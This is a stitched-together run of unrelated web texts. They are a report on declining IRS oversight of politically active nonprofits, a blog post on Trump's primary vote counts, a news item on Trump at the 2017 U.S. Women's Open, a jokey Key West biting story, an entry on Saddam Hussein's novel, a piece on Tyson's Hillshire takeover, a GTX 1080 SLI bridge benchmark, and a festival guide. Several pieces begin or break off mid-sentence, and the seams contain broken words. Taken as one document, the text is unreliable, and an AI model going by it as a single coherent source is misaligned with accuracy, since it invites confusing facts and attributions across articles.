— became a major force in political elections, all while receiving a de facto tax subsidy. The decision allowed corporations, unions and certain nonprofit groups to spend unlimited amounts of cash supporting or opposing political candidates so long as they didn’t coordinate with candidates or their committees. Social welfare and other nonprofit groups galloped into the post-Citizens United era with an inherent advantage over overtly political groups: They could hide the source of their funding, regardless of whether those sources were corporations, individuals or other special interests. And they’re only required tell the FEC the names of donors who give money to help produce specific ads — something that rarely happens. Social welfare groups’ political spending, specifically, ballooned to $256 million during the 2012 election cycle from next to nothing only a few years before, according to the Center for Responsive Politics. Aghast, watchdog groups and politicos filed numerous complaints with the IRS in hope the agency’s exempt organizations division would intervene, since it’s supposed to ensure 501(c) nonprofit organizations don’t become more political than the law allows. Meanwhile at the FEC, efforts by the commission’s three Democratic appointees to rein in the nonprofits were stymied by the three Republicans on the commission, who were ideologically opposed to stifling what they consider the free expression of political views. Weeks turned to months and months into years, and the IRS showed few outward signs that nonprofit groups’ politicking and electioneering was of any particular concern. While IRS officials declined to say how many social welfare groups have been rejected for tax-exempt status on the grounds that they were too political, the Center for Public Integrity and other media organizations have identified 10 groups since the Citizens United decision. Six were chapters of Emerge America, a group that trains Democratic women who want to run for office, and one engaged in politics abroad. Another — Arkansans for Common Sense — spent about $1 million during 2010 supporting the failed re-election bid of Democratic Sen. Blanche Lincoln. At least several other groups had their tax-exempt status denied for benefiting private groups such as political parties instead of the common good. ‘Always being second-guessed’ Nonprofit regulation is “the most explosive, difficult and challenging area of the IRS,” said Larry Gibbs, a former IRS commissioner who served under presidents Ronald Reagan and George H. W. Bush. “It touches on issues that every voter in the country not only can understand, but they’re also issues voters have very strong feelings about.” Both the IRS and its nonprofit division are prone to criticism, IRS Exempt Organizations Director Tamera Ripperda told the Center for Public Integrity. “We’re always being second-guessed,” she said, adding that the division is obligated to consider external feedback. Most of the two dozen former and current IRS employees interviewed — spanning five decades at the agency — could recall moments the nonprofit regulation division succumbed to outside pressure by retreating from or killing proposed actions. Decades in the making: The decline of IRS nonprofit regulation By Jared Bennett Julie Patel and Outside pressure on the Internal Revenue Service’s nonprofit regulation division is nothing new, whether it’s Congress-driven budget cuts or attempts to halt agency actions by presidential administrations. In part because of this pressure, and in part because of what it considered its limited resources, the exempt organizations division deprioritized full-blown examinations in favor of audits done by mail and bare-boned “reviews” done by phone. The division’s “assembly line approach to deal with the volume” of work likely led to shortcuts, like searching for questionably named groups, and contributed to the tea party debacle, said Jim Buttonow, who worked for the IRS for nearly two decades until 2006 and managed large investigations of nonprofits. “What you end up doing is delegating and empowering people at the lowest levels,” he said. In late 2002, to grapple with new priorities and a smaller workforce, the nonprofit division officially reassigned about 100 employees from its investigations unit to the area that processes applications for tax-exempt status, said Steve Miller, who led the division then, in a speech published in the trade journal Tax Analysts. “Examination workforces have greatly diminished and hence the number of examinations we are able to do,” added Miller, who was fired as acting IRS commissioner in May 2013 amid questions about tea party targeting. The nonprofit regulation division’s investigations of all nonprofits — politically active ones and otherwise — have fallen during recent decades and also the post-Citizens United years. For instance, the division audited fewer than seven tax returns per every 1,000 nonprofits last year. Early in Ronald Reagan’s presidency, the IRS audited such groups at nearly four times that rate. During the post-Citizens United years, audited returns fell from 11,449 in 2010 to 10,575 in 2013, agency records indicate. During the same time, applications for 501(c)(4) social welfare status jumped to 2,253 — up from 1,741 in 2010. The Citizens United decision made it easier for these groups to involve themselves in elections. In addition, last year and this year, the nonprofit regulation division temporarily shifted some employees from investigative work to help process the backlog of nonprofit applications. The backlog is a major concern of Republicans and conservatives upset with the IRS. Tamera Ripperda, director of the Internal Revenue Service’s exempt organizations division, speaks at the American Institute of Certified Public Accountants’ National Not-For-Profit Industry Conference on June 12, 2014. Sarah Whitmire/Center for Public Integrity “Everybody is all hands on deck” to tackle that problem, said Ripperda, who replaced Lois Lerner, a central figure in the tea party controversy. It’s not that there’s a dearth of complaints about nonprofits. Eve Borenstein, a Minneapolis attorney, said she was told by Lerner a few years ago that there were tens of thousands of them. The retreat on investigations gives nonprofit groups the impression they can bend the IRS’ rules, which may not be clear in the first place, Borenstein said. When Borenstein advises her nonprofit clients against doing something that may violate IRS rules, she says they sometimes tell her: “There are six others who do that.” Fewer resources, less enforcement For an agency whose primary responsibility is to collect tax dollars, the IRS itself is receiving fewer and fewer of them from Congress. The IRS’ approved budget for the 2014 fiscal year is $11.3 billion. That’s $855 million, or 7 percent, less than its 2010 budget. During the same period, the IRS lost more than 10,000 staff positions — an 11 percent reduction. Meanwhile, it collected 22 percent more in taxes through fiscal year 2011, an indication that its workload has increased. Congress is proposing another $341 million cut to the agency’s budget for fiscal year 2015. The Center for Public Integrity is still waiting for a response to a Freedom of Information Act request filed in December that seeks a variety of basic information about the IRS’ exempt organization operations, such as a staff position roster and enforcement actions against politically active nonprofits. But interviews and IRS documents show the division has, of late, been hit particularly hard. Since the Citizens United decision in 2010, the exempt organization division’s budget has shrunk 6 percent, from $101.2 million to $95.4 million during 2013. Staffing in the division dropped more than 8 percent, from 900 in 2010 to 824 in 2013. Ninety-eight division employees left the IRS from Jan. 1, 2012 to May 17, 2014, according to a list of former employees obtained from the IRS through a FOIA request to the federal Office of Personnel Management. Viewed over decades, the staffing declines become more pronounced. For example, exempt organization division staffing decreased 14 percent from the early 1990s to last year. Unlike other IRS divisions, the nonprofit regulation unit’s main job isn’t raising revenue by collecting taxes — making it an easy target in times of budget cuts. The exempt organizations division has also faced several waves of retirements, thereby losing expertise and institutional knowledge, former employees there say. The “brain drain” has been exacerbated since the early 2000s by the agency filling key roles with people with management know-how but lacking nonprofit regulation experience. The budget for training exempt organizations staffers was also slashed from 2009 to 2013 — from more than $7 million to less than $500,000 thanks to “budget cuts and sequestration,” records show. The IRS has also recently decided, in a bid to save time and money, that it will no longer screen most applications for 501(c)(3) charitable status. Some IRS watchdogs worry politically motivated organizations will attempt to exploit this decision. Scandal, then paralysis Since the tea party dispute erupted, more than half a dozen key agency employees have left the agency. They include Miller, acting commissioner at the time, and Lois Lerner, director of the exempt organizations division. The tea party affair has directed attention away from what many IRS workers say is the much larger problem — regulating the activities of politically charged nonprofits. The issue is “too hot to handle” for Congress in part because members may benefit from the groups, said Alex Reid, a former U.S. Treasury fellow who was also a staffer for the Joint Committee on Taxation. “Money in politics is such a divisive and politically sensitive issue that Congress hasn’t been able to” do anything, he said. “It has fallen to the IRS …. It’s working to sweep up after the parade​.” Still, employees and retirees say the tea party brouhaha, triggered by the IRS delaying some conservative nonprofits’ tax-exempt applications and asking them invasive questions based on their names, could have been averted. Regulators, for example, could have denied exemptions on the grounds that some social welfare nonprofits appeared too political or they could have approved the groups and flagged some for future audits. Paul Streckfus, who worked in the division for six years and now runs a trade publication called EO Tax Journal, said Miller and Lerner had reputations for being very cautious. “It’s sort of ironic they got into trouble. She … should have denied the groups off the bat. But she kept them, kept looking at them, and the rest is history,” Streckfus said. Miller and Lerner declined to comment on the record. A current IRS exempt organization division attorney, who didn’t want to be identified for fear of losing his job, said denials were warranted in some cases. “The groups were coming in saying, ‘No, we’re just trying to exercise free speech.’ But that doesn’t mean you should do that as a tax exempt organization,” he said. “We should have just let them go to court. A judge will tell us if we’re right or wrong.” Gibbs, the former IRS commissioner appointed by Reagan who now works at the Miller & Chevalier law firm, echoed the sentiment, saying the social welfare designation isn’t intended for highly political nonprofits. “No ma’am, it’s just not,” he said. “That’s why 527 was put in the code.” Political “527 groups” are tax exempt like 501(c)(4) groups, but unlike them, they must disclose their donors. U.S. Rep. Tony Cárdenas, D-Calif., said additional delays with applications can be blamed on congressional hearings that began in earnest during 2013. “When you see employees of the federal government getting badgered by members of Congress … that’s got to have a really detrimental effect on the psyche of any worker [who is] thinking, ‘Wow, if I take action or not, I might be called in front of Congress and I might be badgered like that in front of the whole country.'” IRS officials have estimated the scandal has so far cost the agency at least $16 million as it limps from U.S. House investigation to investigation. Groups like the Richmond Tea Party, one of 41 conservative groups suing the IRS, was not denied tax-exempt status. But delays and extra paperwork cost it time and money. Organizations can initially operate as tax-exempt social welfare nonprofits without receiving formal approval from the IRS. But Bruce Jaggard, chairman of the board of the Richmond Tea Party, said it took the agency two-and-a-half years, until July 2012, to approve his group’s application to be a social welfare group in part because it sent the group two more rounds of questions in addition to those asked in the application. “If you have to do something two and three times, there’s no question you’re going to get into a backlog,” Jaggard said. “Our application we had sent to them was complete with all the information they requested. So make a determination, a thumbs up or thumbs down. They made work for us, and they made work for themselves.” That, he added, is reason enough to believe the agency doesn’t need more money. “If they think congressional oversight is intimidation, well, they have more coming.” – Rep. Charles Boustany, R-La. Red alert Republican congressional members leading efforts to investigate the IRS said the only inappropriate pressure exerted on the agency was by President Barack Obama and Senate Democrats, who repeatedly criticized political spending by social welfare nonprofits. IRS employees “were intimidated by their own [colleagues’] politics,” said Rep. Darrell Issa, R-Calif., chairman of the U.S. House Committee on Oversight & Government Reform. Rep. Charles Boustany, R-La., added that the IRS wastes money, as evidenced by reports about its spending on a conference and a “Star Trek”-themed video in 2010. “If they think congressional oversight is intimidation, well, they have more coming,” Boustany said. In addition to the political pressure, the rules regarding activities of nonprofits aren’t very clear. “I can’t blame [social welfare nonprofits] because the law was not clear on what is political activity and how much is allowed,” said Marv Friedlander, a 41-year veteran of the IRS who retired in 2009 as chief of the exempt organization division’s technical branch. Without easy-to-understand rules, regulators’ jobs became harder, and “they were stuck,” Friedlander said. Late last year, the IRS attempted to tackle the unclear rules by defining “political activity” for social welfare groups. But it scrapped the proposal earlier this year after receiving about 169,000 comments — many critical. Members of Congress from both sides of the aisle criticized the rules, noted Rep. Elijah Cummings, D-Md. “At some point, we have to let people do their jobs,” he said of IRS exempt organizations division employees. Koskinen, the new IRS commissioner, said the IRS is working on new rules that will not only create a definition, but say how much political activity is allowed. “We’d be much better off if we had clearer definitions and a clearer roadmap,” he said. The IRS’ new proposal isn’t expected until early next year — after the mid-term elections — at which point the IRS will hold hearings and ask for more public comments. ‘Dark money’ proliferates Nonprofits have spent $26 million on 2014 elections as of July 2 — more than double what they had spent at this point in the 2012 election cycle, a presidential election year, according to data from the Center for Responsive Politics. Millions of dollars more have been spent by social welfare nonprofits on politically charged “issue ads” that don’t directly advocate for or against candidates, and therefore, aren’t reported to the FEC. Said Robert Maguire, a political nonprofit investigator at the Center for Responsive Politics: “The amount of ‘dark money’ this cycle will far eclipse what we saw in the last midterms and probably even the totals we saw in the last presidential elections.” Meanwhile, the exempt organizations division is in limbo, and employees fear doing anything controversial as congressional hearings into the tea party issue continue. “While we have a duty to oversee, it can very well have a chilling effect,” Cummings said. As part of a reorganization of the nonprofit regulation division, about 45 employees will be shifted to the chief counsel’s office, IRS spokesman Grant Williams said. There are no guarantees the attorneys being moved will continue working exclusively on nonprofit issues, Ripperda, the exempt organizations director, said in a recent interview. “The counsel is still in the process of structuring that. We don’t know that yet.” The changes will happen by year-end. What’s clear is that written opinions on nonprofit regulation issues will now be drafted by the IRS chief counsel, a political appointee. “If you wanted to take politics out of the thing, you just put the politics in there completely,” said Debra Kawecki, a former senior attorney for the nonprofit regulation division. Former IRS official Marc Owens and Tessa Boyd-Caine, a Fulbright scholar from Australia, discuss how to improve the Internal Revenue Service’s administration of nonprofit tax laws. Eleanor Bell/Center for Public Integrity Topics and speakers are outlined in an agenda for a June 2014 roundtable discussion hosted by EO Tax Journal about how to improve the Internal Revenue Service’s administration of nonprofit tax laws. Eleanor Bell/Center for Public Integrity Marc Owens, the exempt organizations division director from 1990 to 2000, put it this way: “They are setting the stage for an even more cataclysmic situation.” With the reorganization under way, congressional scrutiny continuing and pressure to do more work with fewer resources, employees say morale is at an all-time low. “We spend all our time processing applications, doing some auditing, and nothing is left over,” said a current IRS exempt organizations employee familiar with this work. Kawecki, who left seven years ago, said even then the Cincinnati office, which processes most of the applications, was overwhelmed trying to keep pace: “The last year when I was there, we took cases from them and did them in the national office [in D.C.] because they were just swamped.” “Congress has made it clear that nobody is to stick their neck out.” – Cheryl Chasin, former IRS employee Commissioner bites back Some employees are encouraged by Koskinen, a turnaround expert with experience in the private and public sectors who has shown himself to be a bulldog at times. At a recent hearing in which members of Congress grilled him about the tea party scandal, with one accusing him of lying under oath, Koskinen stood firm. He refused to apologize when asked and corrected his questioners on several occasions when he believed they were making misleading statements. In addition to his recent announcement of bigger plans for the IRS’ new rules on political activity for social welfare groups, he has said the agency recently restarted audits of social welfare groups that were suspended last year — despite the heat it’s getting from Congress about the issue. “We tend to look at it a lot from the political side. The real question is also what are your social welfare activities? Primarily, are all your activities, are they social welfare? So we will look at that as well as the other side of the coin,” Koskinen said in an interview. IRS officials declined to comment on the record beyond what Koskinen said, citing several reasons: regulations the agency is drafting on nonprofit political activity, lawsuits filed against the agency and ongoing investigations by congressional committees, the Department of Justice and the U.S. Treasury’s inspector general. “Accordingly, it is inappropriate for the IRS to comment at this time on these matters,” IRS spokesman Bruce Friedland said. The U.S. Treasury provided a brief statement that in part reads: “The IRS and Treasury work together to implement the tax code in a manner that is effective and fair​.” The White House did not respond to requests for comment. Meanwhile, others worry Congress won’t budge on funding and won’t let the IRS do its job. “Congress has made it clear that nobody is to stick their neck out” to regulate nonprofit political activity, said Cheryl Chasin, who retired from the IRS about three years ago and whose email on politicized social welfare groups was referenced in a congressional report. A recent IRS manager familiar with exempt organization issues places the blame squarely on Congress. “It’s them. They write the rules. … They have ruined people’s lives,” said the former employee, who asked not to be identified for fear of reprisal. “If this is what happens [when you regulate,] who is going to ever want to do it?” For its part, Crossroads GPS has spent tens of millions of dollars on political candidate advertisements since its inception, although none yet in 2014. Dozens of other 501(c)(4) nonprofit groups also are spending big on candidate advocacy. The IRS largely remains idle. Crossroads GPS maintains its activities comply with federal law, and that its primary purpose isn’t political. Representatives from the organization did not return requests for comment. With no foreseeable action by regulators, the nonprofit spending trend is expected to continue into the midterm elections this fall unabated, and the donors to these groups still largely a mystery. -I don’t go to the Drudge Report anymore, so I only heard about this screaming headline second-hand when it was being crowed about on Twitter. But the headline read: “TRUMP MOST VOTES IN REPUBLICAN HISTORY.” Wowie. Well, ain’t that impressive? But then there is the other side of the coin. According to Philip Bump at the Washington Post , though he has yet to hit that mark of having the most primary votes in Republican history (George W. Bush holds that record), by the end of the 2016 primary season, Donald Trump probably will exceed Bush’s 2000 totals. Now, here’s the other side of the coin. Trump also will be another historic first. In addition to garnering the most primary votes in Republican history, Donald J. Trump will also hold the record for having the most primary votes against him. Take a look: Graph from the Washington Post Well, sweet merciful Zeus! The primary season isn’t even over yet and already the anti-Trump vote is solidly the most “anti” votes in Republican history. Nearly fifteen million Republican primary voters have said no to Trump. Fifteen million. That’s quite a hefty number. Philip Bump closes his piece with this: This isn’t a critique of Trump, really. The math is simple: Lots of people voting for lots of different candidates means that the guy in first got a lot of votes — but so did the aggregation of everyone else. The lesson to take from this is that the truly historic component of the 2016 Republican contest isn’t the number of votes Trump is getting or that his opponents have earned. It’s that so many people in total have come out to vote. Of course, contra Trump’s insistence that he’s bringing people out in droves to give him their support, an awful lot of those people would rather vote for someone else. I wonder if Drudge ever will point this out? Probably not. — If you like the work at Patriot Retort, please consider contributing Hit the tip jar DONATE button in the side bar. Even a few bucks can make a world of difference! -BEDMINSTER, N.J. -- Some of the best golfers in the world are competing in New Jersey this weekend -- and vying for attention with a guy whose best finish was an age-group club title. That would be President Donald Trump. The president's arrival at his club on Friday created such a commotion that crowds at the U.S. Women's Open were asked to keep it down as golfers Lexi Thompson, Brook Henderson and Stacy Lewis approached the 15th green. Trump, fresh off a quick trip to France, turned up in a glassed-off patio of the clubhouse with son Eric by his side. President @realDonaldTrump arrives at #USWomensOpen at his New Jersey golf club Friday afternoon. pic.twitter.com/i1AQ2xgB61 — Bill Fields (@BillFields1) July 14, 2017 Acknowledging the crowds, the president waved, pointed and gave a thumbs-up, which prompted squeals from a group of schoolgirls. Dozens of people swarmed around the clubhouse snapping photos and waving as the president occasionally approached the window. Trump's presence did pose a distraction to players. Chinese golfer Shanshan Feng said she could hear crowds screaming for the president from the 15th green. Editor's Picks President Trump draws crowd at LPGA major Some golfers remained focused. Others waited for the motorcade to pass through. President Donald Trump's appearance Friday at the U.S. Women's Open at Trump National Bedminster caught the attention of everyone on the course. Feng extends Women's Open lead to 2 after 70 Shanshan Feng shot a 2-under 70 and had a 36-hole total of 8-under 136 on the 6,732-yard Trump National Golf Club, which played longer because of rain the past two days. 1 Related Asked if she could tell which direction the crowds were looking, Thompson told reporters, "not toward the golf." Trump's visit during the weekend tournament also poses a security challenge because his residence is on the course, where fans and players pass by throughout the day. But the tournament's director said of Trump's visit: "We're ready." Trump tweeted Friday morning that he was headed to New Jersey to attend the tournament after spending time in France this week to celebrate Bastille Day and meet with French President Emmanuel Macron. Left Paris for U.S.A. Will be heading to New Jersey and attending the#USWomensOpen, their most important tournament, this afternoon. — Donald J. Trump (@realDonaldTrump) July 14, 2017 The event was expected to draw protesters critical of the U.S. Golf Association, which operates the tournament, for not moving it to a different venue after audio surfaced last year in which Trump made derogatory comments about women. Trump has spent several weekends at the club since his election in November but none during an event of this magnitude: 156 golfers and their entourages and thousands of fans. Trump is the first sitting U.S. president to attend a U.S. Women's Open. Two presidents -- Warren Harding in 1921 and Bill Clinton in 1997 -- attended the U.S. Open while in office. Harding presented the trophy and gold medal to winner Jim Barnes at Columbia Country Club in Chevy Chase, Maryland. Clinton and his daughter, Chelsea, watched final-round action from a specially constructed stand on the 16th hole at Congressional Country Club. When the U.S. Open returned to Congressional in 2011, the USGA prepared a viewing platform for President Barack Obama in the event that he attended, but he did not come to the championship. Information from ESPN contributor Bill Fields was used in this report. -...or hope that the Mon roe County Police have taken other measures with Cassi to help protec t you Please feel free to leave a comment below. If you'd like to sing my praises or tell me how terrible I am more personally, I can also be found on Twitter. It's officially Spring Break season, which means that Florida beaches will be filled with intoxicated college students...and the garbage that they produce. Smathers Beach in Key West has always had an issue with empty beer cans and other form of litters being strewn across the sand, but last week they had to contend with a whole new type of problem: Revenge Cannibalism.20-year-old Stock Island resident Cassi Lyn Clayton could be identified as a bit of a "spitfire" to say the least. She had already been arrested on February 4 of this year for attacking an officer and causing a bit of property damage. Unfortunately, there's not much else on record about that arrest or her (apparently very checkered) prior history other than a collection of mugshot ranging from completely adorable to slightly intimidating.But on Monday, March 4 of 2013, 21-year-old Madison Pelfrey of Stamford, Flordia found out just how crazy Cassi could get. At approximately 5:00 PM, Madison was observed throwing her trash onto the beach. This desecration of her natural habitat enraged Cassi, who approached the litter bug and began screaming at her.The argument between the pair continued to escalate to the point where things got physical. That's when Cassi promptly ended the altercation by biting into Madison's right cheek Cassi Lyn Clayton was arrested and charged with misdemeanor battery. She was also released from custody...so if you happen to be Spring Breaking in Key West over the next two months, please make sure to properly dispose of your garbage and/or recyclable materials. -Zabibah and the King (Arabic: زبيبة والملك‎ Zabībah wal-Malik) is a romance novel, originally published anonymously in Iraq in 2000,[1] that was written by Saddam Hussein. Characters [ edit ] Plot summary [ edit ] The plot is a love story about a powerful ruler of medieval Iraq and a beautiful commoner girl named Zabibah. Zabibah's husband is a cruel and unloving man who rapes her. The book is set in 7th or 8th century Tikrit, Hussein's home town. Although the book is on the surface a romance novel, it is (and was intended to be read as) an allegory. The hero is Hussein and Zabibah represents the Iraqi people. The vicious husband is the United States and his rape of Zabibah represents the U.S. invasion of Iraq at the end of the Gulf War, as illustrated by the date of the rape being January 17--the same date that U.S. led forces commenced the 1991 offensive that drove Iraq out of Kuwait.[2] In the novel, the king dies after capturing the rapists and avenging the honor of Zabibah.[2] Distribution [ edit ] The book was a best seller in Iraq when it was originally published for 1,500 dinars (about US$0.50). It is estimated that over one million copies were sold.[3] Royalties, according to the back cover, were to go to "the poor, the orphans, the miserable, the needy, and [other] charities".[1] The Iraqi publishers appropriated four paintings by Canadian artist Jonathon Earl Bowser, to illustrate the novel, putting his "The Awakening" on the cover. Bowser did not authorize their use of his work and has attempted with no success to obtain compensation for copyright infringement.[3] Authorship [ edit ] The U.S. CIA believes that it was written by ghostwriters with the direct influence of Saddam.[4] Adaptations [ edit ] Cover of the English edition of the novel. A twenty part television series, and a musical based on it, were later produced.[1][2] Before its release, it was rumored that the Sacha Baron Cohen comedy film The Dictator (2012) was adapted from the novel.[5][6] The book is also featured in Matt Ruff's alternate history novel The Mirage (2012), where in the novel's narrative it serves as an equivalent to O. J. Simpson's If I Did It (2007). Zabibah and the King and Lynne Cheney's novel Sisters are the subject of Taylor Mac's song 'The Palace of the End'. -Chicken tender offer A meat giant gobbles up another meat giant We live in the era of meat mergers. In recent decades animal-farming companies, gobbling up competitors, became giants. Then those giants merged. Now, a meat titan is coming back for seconds. The New York Times is reporting that Tyson has been successful in its hostile-takeover bid for Hillshire Brands. Measured in dollars, the $6.1 billion purchase is the largest consolidation in the industry ever — though other mergers have meant more when measured in terms of impact on farmers and consumers. Anti-trust experts say the deal won’t create an illegal monopoly, according to Reuters, because the two companies don’t directly compete. Hillshire is in the business of selling meat to us: It owns Jimmy Dean (sausages), Ball Park (hot dogs), Sara Lee, Aidells, and others, controlling 32 percent of the breakfast sausage market, the Wall Street Journal reports. Tyson is in the business of producing meat: It owns slaughterhouses and packing plants — though it also sells to eaters. Christopher Leonard, author of The Meat Racket, has made a convincing case that Tyson was already big enough to manipulate prices (it produces one in every five pounds of meat in the U.S.), so I asked him about the implications of this acquisition. Even if this deal doesn’t violate anti-trust law, there are problems with this kind of consolidation, he said. “When all the power is so centralized in these behemoths, they end up writing their own rules in Congress and fighting the reforms to protect consumers and farmers,” he said. When the Obama administration sought to reform the animal farming industry, many farmers, some visibly frightened, risked their livelihoods by speaking publicly about abuses. But industry squelched that attempt. Now, the industry lobbyists are working to reduce the number of inspectors in slaughterhouses, while speeding up the lines. There is some logic to this, Leonard said, because producers will compensate by conducting more testing for pathogens. But the chickens already move down the disassembly lines “obscenely fast, in my opinion,” Leonard said. These companies also have the clout to fight environmental regulations. Tyson works to reduce its greenhouse gas emissions, but at the same time it pays farmers so little that they have little choice but to pollute. The deal does have a small silver lining: Tyson’s victory means that its competitor JBS — the largest meat producer in the world, which owns Pilgrim’s Pride — lost. “I like to keep my oligarchies all-American,” Leonard joked. (JBS is based in Brazil.) “But to be honest, what bothers me is the loss of local control. Local communities don’t keep the profits, and they lose control over their economies. And now that’s moved from the little chicken towns to an international scale.” It’s not much of a silver lining. JBS may be the largest meat producer in the world, but Tyson is the second largest. If we want a change from this era of meat mergers, we’d need to pass tough anti-trust laws, Leonard said, as we did in 1921. -You’ve got to pay to play, and that’s especially true if you want to play PC games with Nvidia’s most powerful graphics option: two GeForce GTX 1080 cards in SLI. Not only will the cards themselves cost you royally ($599 each at a minimum), but you’ll also have to throw down $40 for a new, special SLI HB Bridge, so says Nvidia. The HB Bridge is required, Nvidia claims, because the GeForce GTX 1080 cards pass so much data under heavy loads that older bridges just can’t keep up (the HB stands for “high bandwidth,” mind you). The company says the HB Bridge will transfer data at 650MHz on GeForce GTX 1080 cards compared to the 400MHz that older GeForce cards achieve with soft bridges, such as those that come bundled with a motherboard or GPU. The older soft bridges will still work, but only up to a point. You can also use the aftermarket fancy SLI bridges that sold with the last gen of cards, but even those won’t achieve maximum potential, according to Nvidia. As if plunking down more money for a new SLI bridge weren’t bad enough, getting the HB Bridge seems to be a difficult task. They’ve been sold out on Nvidia’s site, and even PC OEMs say they’re hard to come by. Good luck getting the SLI HB Bridge. They were sold out whenever we checked over the past couple weeks. We were fortunate enough to have Digital Storm’s tricked-out Aventum 3 PC in house, which features two liquid-cooled GTX 1080 cards in SLI, using the SLI HB Bridge, naturally. Like the previous "Pro" bridges, the HB Bridge consists of a hard PCB that uses both connectors on the GPUs. Gordon Mah Ung A view of the back of the HB Bridge, and a closer look at the connectors below. Gordon Mah UngA closer look at the connectors. Normally, the HB Bridge comes with a fancy black-and-silver cover, but Digital Storm removed that in the Aventum 3 to accommodate the water block. Gordon Mah Ung The front of the HB Bridge with its cover removed. The small connector in the PCB connects to an LED. Putting it to the Test But who cares how it looks, right? You want to know if Nvidia is selling you snake oil. To test the necessity of using the new HB Bridge over a standard flexible SLI bridge solution, I ran a series of benchmarks on the Aventum 3 with three different scenarios: the HB Bridge, a single flexible SLI bridge, and two flexible SLI bridges in tandem. While conventional wisdom used to be that a single bridge was sufficient for a two-card setup, there’s been a growing belief that two bridges are “better.” In fact, one PC OEM told me he’s heard anecdotal reports of two soft bridges working nearly as well as the HB Bridge. While I would have liked to have tested a previous-gen Pro bridge as well, I did not have one on hand for this comparison. 3DMark FireStrike Ultra performance For the first test, I turned to 3DMark Extreme Ultra, which runs at 4K UHD resolution. What I focus on here is the graphics portion of the test. The results indeed show that the HB Bridge yields higher performance but it’s pretty insignificant. You’d likely get more value buying a $40 mouse pad. The results form 3DMark FireStrike Ultra make the old soft bridges look pretty good. Far Cry Primal Performance Of course, 3DMark is just a synthetic test. Next I turned to a real game, Far Cry Primal set to Ultra and at 4K res. Same underwhelming results. And no, this isn’t some SLI scaling issue, as going from one GeForce GTX 1080 to two yielded a considerable performance increase. It just seems like that fancy bridge doesn’t matter much. Far Cry Primal at 4K UHD on Ultra settings doesn’t care about that fancy bridge either. Middle-earth: Shadow of Mordor performance We finally start to see the HB Bridge make a difference in Middle-earth: Shadow of Mordor. I ran the game at 4K resolution with the 4K texture pack installed. Still, that roughly 10 percent difference isn’t going to set the world on fire. Middle-earth shows a minor delta between the fancy bridge and freebies. Whoa now, let’s not jump to conclusions Before your eyes glaze over and you decide you don’t need to see any more—that the internet conspiracy theory is true: “Nvidia’s just ripping us off; the free bridges work just fine!”—there’s more to be said. Nvidia claims that its fancy bridge is actually paying off in ways that your eyes can see but benchmarks won’t record. That’s because benchmarks often report the frame rate but don’t tell you about the frame “quality.” That’s especially critical in multi-GPU configurations, where the timing involved in delivering both cards’ output to the screen can result in visual artifacting called “micro-stuttering.” “Measuring frame time data you would see how the extra bandwidth smooths out delivery of the frames for a more consistent game experience,” an Nvidia official said. While I didn’t have time to use Nvidia’s Frame Capture Analysis Tool for this story, I will say that in my personal experience of watching repeatable benchmarks, I observed more artifacts with the soft bridges than the HB Bridge. I also saw the HB Bridge pay off pretty big measurable returns in some games. Tom Clancy’s Rainbow Six Siege Moving on to Tom Clancy’s Rainbow Six Siege, we can see a roughly 15 percent gap open up between the soft bridges and the $40 HB Bridge. Rainbow Six Siege shows a nice return on investment for that $40. Tom Clancy’s The Division Our biggest return on investment comes from Tom Clancy’s The Division where we see a massive gulf of roughly 25 percent open up between the free bridges and the HB Bridge. As with the other games here, I ran The Division on the Ultra setting at 4K resolution. Tom Clancy’s The Division makes that fancy $40 HB Bridge seem worth it. I was curious about the delta if I ran The Division at 5K resolution, or 5120x2880. That’s about 14.7 million pixels vs. a typical 4K UHD panel’s 8.2 million pixels. With the massive increase in output, you can see that higher-bandwidth bridge really paying off. Crank the resolution up to 5K and the gap grows even larger with the HB Bridge. Maximum frame rates too The final proof that Nvidia isn’t just bilking us is evident in the maximum frame rate. With Middle-earth: Shadows of Mordor running at 5K, the average frame rate is pretty, well, average, with the HB Bridge: 79.6fps vs. the soft bridges’ 74.9fps. When you look at the maximum frame rate in the game, however, the HB Bridge has a clear performance advantage. So yes, that HB Bridge is doing something positive. Maximum frame rate in Middle-earth. Conclusion The final answer may seem a little muddled but it’s pretty crystal clear to me. First, Nvidia says you really don’t need the HB Bridge if you’re playing games at 1920x1080 or 2560x1440—you can stick with your old soft bridges. But why bother? If you’re using a pair of GeForce GTX 1080 cards to play at such a low resolution, you’re doing it wrong. That’s just too much GPU for the job. At resolutions of 4K and 5K, the tests show that it’s not worth cheaping out on the $40 HB Bridge, especially after you just put out $1,200 or more for a pair of the world’s fastest GPUs. So just deal with paying for the bridge—if you can find one, that is—since you’re already in for a pound. Gordon Mah Ung If you’re really pushing the resolution, then don’t cheap out by trying to reuse those old SLI bridges. -Once again, classical music-loving travelers will be faced with a staggering abundance of performance options at the hundreds of music festivals that dot the American summer landscape. Following is a selective guide to some of the more interesting, promising and/or noteworthy cultural destinations, presented by region and in alphabetical order. As always, programs and dates are subject to change and should be verified. Midwest Cincinnati May Festival, May 19-27; Cincinnati: The city's oldest arts organization welcomes Gerard McBurney as creative partner for a series of concerts including Bach's B-minor Mass (led by Harry Bicket), Beethoven's Ninth Symphony, Elgar's "The Dream of Gerontius" and more. Other conductors include Markus Stenz, Michael Francis and Matthew Halls. Pending the completion of the renovation of Cincinnati Music Hall, performances will take place at the Taft Theater. 513-381-3300, www.mayfestival.com Des Moines Metro Opera, June 23-July 16; Simpson College, Indianola, Iowa: The highlight of the 45th festival summer promises to be Benjamin Britten's "Billy Budd," in a new edition by Britten scholar Steuart Bedford. Rounding out the schedule will be Sondheim's "A Little Night Music," Piazzolla's "Maria de Buenos Aires" and Puccini's "Turandot." 515-961-6221; www.dmmo.org Minnesota Orchestra Sommerfest, July 21-Aug. 5; Minneapolis: Two milestones will be observed — Andrew Litton's 15th and final season as artistic director and the 90th birthday of trumpeter Doc Severinsen, Sommerfest's Pops conductor laureate. Litton's operatic finale will be a concert version of Strauss' "Salome," starring Patricia Racette. 612-371-5656; www.minnesotaorchestra.org North Shore Chamber Music Festival, June 7-10; Village Presbyterian Church, 1300 Shermer Road, Northbrook: Directors Vadim Gluzman, violin, and Angela Yoffe, piano, will preside over the seventh edition, which will include performances by the Escher String Quartet; a mostly Mozart gala with the ProMusica Chamber Orchestra of Columbus, Ohio, under David Danzmayr; and pianist-composer Adam Neiman leading the festival's first commissioned work. 847-370-3984; www.nscmf.org Opera Theater of St. Louis, May 20-June 25; Loretto-Hilton Center, Webster University, Webster Groves, Mo.: The 45th festival of operas in English will bring the U.S. premiere of Philip Glass' "The Trial," based on Franz Kafka's novel; a new performing version of "The Grapes of Wrath" by Ricky Ian Gordon; Puccini's "Madame Butterfly"; and Mozart's "Titus" ("La Clemenza di Tito"). 